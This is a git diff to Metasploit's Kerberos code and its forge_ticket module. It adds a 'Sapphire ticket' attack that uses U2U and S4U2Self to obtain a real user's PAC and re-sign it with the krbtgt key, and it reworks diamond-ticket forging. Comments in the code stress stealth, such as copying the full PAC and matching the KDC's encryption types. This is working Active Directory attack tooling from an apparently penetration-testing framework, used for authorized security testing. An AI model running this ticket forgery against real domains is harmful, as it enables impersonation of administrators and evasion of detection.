diff --git a/lib/msf/core/exploit/remote/kerberos/client/pac.rb b/lib/msf/core/exploit/remote/kerberos/client/pac.rb index 0684b14083..7c3e321daa 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pac.rb @@ -57,6 +57,7 @@ module Msf checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5 ticket_checksum = opts[:ticket_checksum] || nil is_golden = opts.fetch(:is_golden) { true } + base_vi = opts.fetch(:base_verification_info) { Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new } validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new( logon_time: auth_time, @@ -65,12 +66,19 @@ module Msf primary_group_id: primary_group_id, logon_domain_name: domain_name, logon_domain_id: domain_id, - full_name: '', - logon_script: '', - profile_path: '', - home_directory: '', - home_directory_drive: '', - logon_server: '' + full_name: base_vi.full_name, + logon_script: base_vi.logon_script, + profile_path: base_vi.profile_path, + home_directory: base_vi.home_directory, + home_directory_drive: base_vi.home_directory_drive, + logon_server: base_vi.logon_server, + logon_count: base_vi.logon_count, + bad_password_count: base_vi.bad_password_count, + user_account_control: base_vi.user_account_control, + sub_auth_status: base_vi.sub_auth_status, + last_successful_i_logon: base_vi.last_successful_i_logon, + last_failed_i_logon: base_vi.last_failed_i_logon, + failed_i_logon_count: base_vi.failed_i_logon_count ) validation_info.group_ids = group_ids if extra_sids && extra_sids.length > 0 diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 5b3b0c1550..03430fc6b4 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -482,6 +482,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base # Request a service ticket to a user on behalf of themselves # This is mostly useful for PKINIT to recover the NT hash + # Can combine this with S4U2Self by providing an :impersonate option + # to retrieve a PAC for any account, i.e. Sapphire Ticket attack # # @see https://learn.microsoft.com/en-us/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works # @@ -519,6 +521,16 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base additional_tickets: [ticket] } + if options[:impersonate] + tgs_options[:pa_data] = build_pa_for_user( + { + username: options[:impersonate], + session_key: session_key, + realm: self.realm + } + ) + end + request_service_ticket( session_key, ticket, @@ -567,6 +579,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base self.offered_etypes || Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes end + stop_if_preauth_not_required = options.fetch(:stop_if_preauth_not_required) { true } + tgt_result = send_request_tgt( server_name: server_name, client_name: client_name, @@ -574,7 +588,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base key: key, realm: realm, options: ticket_options, - offered_etypes: offered_etypes + offered_etypes: offered_etypes, + stop_if_preauth_not_required: stop_if_preauth_not_required ) end diff --git a/lib/msf/core/exploit/remote/kerberos/ticket.rb b/lib/msf/core/exploit/remote/kerberos/ticket.rb index 647fe6164b..bcb3307b2c 100644 --- a/lib/msf/core/exploit/remote/kerberos/ticket.rb +++ b/lib/msf/core/exploit/remote/kerberos/ticket.rb @@ -87,16 +87,20 @@ module Msf # # Take an existing ticket and change its PAC to have the provided user value # (Used for diamond ticket functionality) - # @param as_rep [TgtResponse] The TGT containing the ASREP to modify + # @param ticket [Ticket] The ticket to modify + # @param enc_kdc_response [EncKdcResponse] The decrypted KDC response containing contextual information # @param new_user [String] The username to apply to the ticket # @param new_user_rid [Integer] The user RID to apply to the ticket + # @param domain [String] The domain of the user # @param extra_sids [List] Extra SIDs to include in the ticket - # @param enc_type [Integer] The encryption type of the ticket - # @param enc_key [String] The encryption key of the ticket (usually krbtgt) + # @param ticket_decryption_key [String] The encryption key of the existing ticket (krbtgt or a session key) + # @param ticket_encryption_type [Integer] The encryption type of the resulting ticket + # @param ticket_encryption_key [String] The encryption key for the resulting ticket (usually krbtgt) + # @param copy_entire_pac [Boolean] Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones # - def modify_ticket(tgt, new_user, new_user_rid, extra_sids, enc_type, enc_key) - ticket_enc_part = tgt.as_rep.ticket.enc_part - decrypted_ticket_part = ticket_enc_part.decrypt_asn1(enc_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET) + def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac) + ticket_enc_part = ticket.enc_part + decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET) decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part) auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT} if auth_data_val.length != 1 @@ -110,22 +114,24 @@ module Msf raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)") end - realm = tgt.as_rep.crealm - checksum_type = get_checksum_type(enc_type) + realm = domain + checksum_type = get_checksum_type(ticket_encryption_type) existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data]) cname_principal = create_principal(new_user) + + sname_principal = create_principal(['krbtgt',domain.upcase]) opts = { client: cname_principal, - server: tgt.as_rep.ticket.sname, - auth_time: tgt.decrypted_part.auth_time, - start_time: tgt.decrypted_part.start_time, - end_time: tgt.decrypted_part.end_time, - renew_till: tgt.decrypted_part.renew_till, + server: sname_principal, + auth_time: enc_kdc_response.auth_time, + start_time: enc_kdc_response.start_time, + end_time: enc_kdc_response.end_time, + renew_till: enc_kdc_response.renew_till, realm: realm.upcase, - key_value: enc_key, - checksum_enc_key: enc_key, - session_key: tgt.decrypted_part.key.value, - enc_type: tgt.decrypted_part.key.type, + key_value: ticket_encryption_key, + checksum_enc_key: ticket_encryption_key, + session_key: enc_kdc_response.key.value, + enc_type: enc_kdc_response.key.type, user_id: new_user_rid, group_ids: GROUP_IDS, checksum_type: checksum_type, @@ -133,34 +139,7 @@ module Msf extra_sids: extra_sids, flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags), create_ticket_checksum: false, - is_golden: true - } - - - #### - start_time = Time.now.utc - end_time = start_time + 400000 - - opts = { - client: cname_principal, - server: tgt.as_rep.ticket.sname, - auth_time: tgt.decrypted_part.auth_time, - start_time: tgt.decrypted_part.start_time, - end_time: tgt.decrypted_part.end_time, - renew_till: tgt.decrypted_part.renew_till, - realm: realm.upcase, - key_value: enc_key, - checksum_enc_key: enc_key, - session_key: tgt.decrypted_part.key.value, - enc_type: enc_type, - user_id: new_user_rid, - group_ids: GROUP_IDS, - checksum_type: checksum_type, - client_name: new_user, - extra_sids: extra_sids, - flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags), - create_ticket_checksum: false, - is_golden: true + is_golden: true, } #### @@ -171,6 +150,9 @@ module Msf when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION opts[:group_id] = element.data.primary_group_id.value opts[:domain_id] = element.data.logon_domain_id + if copy_entire_pac + opts[:base_verification_info] = element.data + end when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM # We want to be stealthy and match whatever the KDC is doing, so we should do it too opts[:create_ticket_checksum] = true diff --git a/modules/auxiliary/admin/kerberos/forge_ticket.rb b/modules/auxiliary/admin/kerberos/forge_ticket.rb index 6ac53e6714..8f6953c2a0 100644 --- a/modules/auxiliary/admin/kerberos/forge_ticket.rb +++ b/modules/auxiliary/admin/kerberos/forge_ticket.rb @@ -50,8 +50,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptString.new('USER', [ true, 'The Domain User' ]), - OptInt.new('USER_RID', [ true, "The Domain User's relative identifier(RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID]), + OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]), + OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]), OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]), OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]), OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]), @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition), OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition), OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition), - OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition) + OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition), ] ) @@ -144,26 +144,14 @@ class MetasploitModule < Msf::Auxiliary def forge_diamond validate_key! - domain = datastore['DOMAIN'].upcase - - enc_key, enc_type = get_enc_key_and_type - if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 - # This should be the server's preferred encryption type, so we can just - # send our default types, expecting that to be selected. More stealthy this way. - offered_etypes = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes - else - offered_etypes = [enc_type] - end begin - res = send_request_tgt( - server_name: "krbtgt/#{domain}", - client_name: datastore['REQUEST_USER'], - password: datastore['REQUEST_PASSWORD'], - realm: domain, - offered_etypes: offered_etypes, + options = { stop_if_preauth_not_required: false - ) + } + include_crypto_params(options) + + res = kerberos_authenticator.request_tgt_only(options) rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e print_error("Requesting TGT failed: #{e.message}") return @@ -174,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary return end - ticket = modify_ticket(res, datastore['USER'], datastore['USER_RID'], extra_sids, enc_type, enc_key) + ticket = modify_ticket(res.as_rep.ticket, res.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false) ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) if datastore['VERBOSE'] @@ -182,6 +170,59 @@ class MetasploitModule < Msf::Auxiliary end end + def forge_sapphire + options = { + stop_if_preauth_not_required: false + } + include_crypto_params(options) + + auth_context = kerberos_authenticator.authenticate_via_kdc(options) + credential = auth_context[:credential] + + print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}") + + session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: credential.keyblock.enctype.value, + value: credential.keyblock.data.value + ) + + enc_key, enc_type = get_enc_key_and_type + tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER']) + ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true) + ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) + + if datastore['VERBOSE'] + print_ccache_contents(ticket, key: enc_key) + end + end + + def kerberos_authenticator + options = { + host: datastore['RHOST'], + realm: datastore['DOMAIN'], + timeout: datastore['TIMEOUT'], + username: datastore['REQUEST_USER'], + password: datastore['REQUEST_PASSWORD'], + framework: framework, + framework_module: self, + ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new + } + + Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options) + end + + def include_crypto_params(options) + key, enc_type = get_enc_key_and_type + options[:key] = key + if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 + # This should be the server's preferred encryption type, so we can just + # send our default types, expecting that to be selected. More stealthy this way. + options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes + else + options[:offered_etypes] = [enc_type] + end + end + def get_enc_key_and_type enc_type = nil key = nil